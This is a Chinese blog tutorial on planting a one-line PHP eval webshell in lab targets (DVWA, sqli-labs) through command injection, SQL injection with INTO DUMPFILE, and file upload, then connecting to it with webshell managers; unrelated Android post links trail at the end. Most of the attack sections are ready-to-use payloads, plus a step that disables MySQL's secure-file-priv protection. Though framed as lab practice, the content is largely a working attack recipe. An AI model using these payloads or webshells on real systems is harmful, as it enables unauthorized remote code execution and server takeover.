一句话木马攻击复现:揭示黑客入侵的实战过程

准备环境

  • OWASP虚拟机
  • xfp 7与xshell 7

  • DVWA系统默认的账号密码均为:admin/admin

1、命令注入中复现

攻击payload

sql 复制代码
127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php

这个命令的目的是在服务器上创建一个名为 shell.php 的文件,其中包含 PHP 代码。让我们逐步分析该命令:

  • 127.0.0.1: 这是一个IP地址(本地回环地址),代表要连接的目标主机。

  • |:管道符号,用于将前一个命令的输出作为后一个命令的输入。

  • echo "<?php @eval(\$_POST[\"cmd\"])?>": 这是一个echo命令,它将字符串 <?php @eval(\$_POST["cmd"])?> 输出到标准输出。

  • >:重定向操作符,将前一个命令的输出写入到后一个命令指定的文件中。

  • /var/www/shell.php:这是目标文件路径,表示要将输出写入到 /var/www/ 目录下的名为 shell.php 的文件。

综上所述,如果成功执行此命令,则会在服务器的 /var/www/ 目录下创建一个名为 shell.php 的文件,并将 <?php @eval(\$_POST["cmd"])?> 的内容写入到该文件中。由于该PHP代码使用了 eval 函数,它会执行用户在 POST 请求(通过 cmd 参数)中输入的命令。

下面是一些常见的命令连接符及其作用:(如果管道符"|"被过滤了就可以使用其他的代替)
  1. &:将两个命令并行执行,无论前一个命令是否成功。

  2. &&:只有当前一个命令成功执行时,才会执行后一个命令。

  3. |:将前一个命令的输出作为后一个命令的输入。

  4. ||:只有当前一个命令执行失败时,才会执行后一个命令。

复现

在靶机中查看木马文件

最后就能在靶机看到我们的文件了,我们的文件保存在/var/www/目录下,查看方法:

  • cd /var/www/ -> ls # 之后就能看到/var/www/下的文件信息

我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件

使用蚁剑或菜刀连接木马

成功进入目标文件管理界面,攻击复现成功

注意:虽然我们的shell.php木马文件存放在/var/www/目录下,但是我们连接只需要使用靶机IP+文件名即可。因为Web服务器已经将根目录设置为 /var/www/,所以不需要在 URL 中显式指定该目录。只需使用 http://<IP地址>/文件名 的格式即可访问该文件。

2、SQL注入中复现

攻击payload

sql 复制代码
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
  • UNION SELECT 1,1,"<?php @eval(\$_POST[\"cmd\"])?>":这是一个 UNION SELECT 查询,它将会返回两列。第一列是数字 1,第二列是数字 1,第三列是 PHP 代码 <?php @eval(\$_POST["cmd"])?>。这段代码是恶意的,它尝试执行通过 POST 请求传递的 cmd 参数作为代码进行执行。
  • INTO DUMPFILE "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php":这个部分尝试将查询结果保存到指定的文件路径 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 中。这将会创建一个名为 shell.php 的文件,并将查询结果写入其中。
  • --:这是 SQL 中的注释符号,表示注释掉后续的内容。

总的来说,该语句的目的是将恶意代码写入到 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 文件中,以便在攻击者控制的环境中执行该代码。这种攻击常用于获取未经授权的访问权限、控制目标服务器或进行其他恶意活动。

复现(我这里用**sqlilabs靶场**)

安装: 详细安装sqlmap详细教程_sqlmap安装教程_mingzhi61的博客-CSDN博客

**安装完成后打开:**http://127.0.0.1/sqlilabs/Less-2/?id=1

本来我是用DVWA靶场复现的搞了半天都搞不定一直提示"用户"dvwa"@"%"的访问被拒绝(使用密码:YES)"解决不了换靶场

1)先判断显示位(测试是否存在SQL注入)

sql 复制代码
-1 union select 1,2,3 -- -

命令可以使用插件 HackBar 来发送也可以直接粘贴到网络的url中执行(工具本文开头的环境准备可以下载)

2)再判断路径(判断MysQL的存储路径方便我们写入一句话马)

sql 复制代码
-1 union select 1,@@datadir,3 -- -

3)写入WebShell

sql 复制代码
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --

代码执行只要不报错就行成功了

注意: MySQL 服务器默认情况使用了 --secure-file-priv 选项,限制了 INTO OUTFILE 的功能。

**解决:**你可以尝试以下步骤:

  • 打开 phpStudy 的安装目录,找到 my.ini(或 my.cnf)配置文件。
  • 在配置文件中找到 [mysqld] 部分。
  • [mysqld] 部分添加或修改下列行:
sql 复制代码
[mysqld] secure-file-priv=""
  • 保存配置文件,并重启 phpStudy 中的 MySQL 服务器。

通过将 secure-file-priv 设置为空字符串,你可以移除文件路径限制,允许使用 INTO OUTFILE 语句将查询结果输出到任意位置。

连接

参考文章:SQL注入篇------一句话木马_sql注马语句_admin-r꯭o꯭ot꯭的博客-CSDN博客

3、文件上传漏洞中复现

攻击payload

准备一个木马文件如:cmd.php

php 复制代码
<?php @eval($_POST["cmd"])?>

复现

连接

php 复制代码
主机IP+/dvwa/hackable/uploads/cmd.php

# 注意路径前面要加上dvwa,因为我们是在dvwa靶场上实验的,在虚拟机的WWW目录下有很多个靶场所以我们要指定靶场
相关推荐
阿巴斯甜17 小时前
Android 报错:Zip file '/Users/lyy/develop/repoAndroidLapp/l-app-android-ble/app/bu
android
Kapaseker17 小时前
实战 Compose 中的 IntrinsicSize
android·kotlin
xq952718 小时前
Andorid Google 登录接入文档
android
黄林晴20 小时前
告别 Modifier 地狱,Compose 样式系统要变天了
android·android jetpack
冬奇Lab1 天前
Android触摸事件分发、手势识别与输入优化实战
android·源码阅读
城东米粉儿1 天前
Android MediaPlayer 笔记
android
Jony_1 天前
Android 启动优化方案
android
阿巴斯甜1 天前
Android studio 报错:Cause: error=86, Bad CPU type in executable
android
张小潇1 天前
AOSP15 Input专题InputReader源码分析
android
_小马快跑_2 天前
Kotlin | 协程调度器选择:何时用CoroutineScope配置,何时用launch指定?
android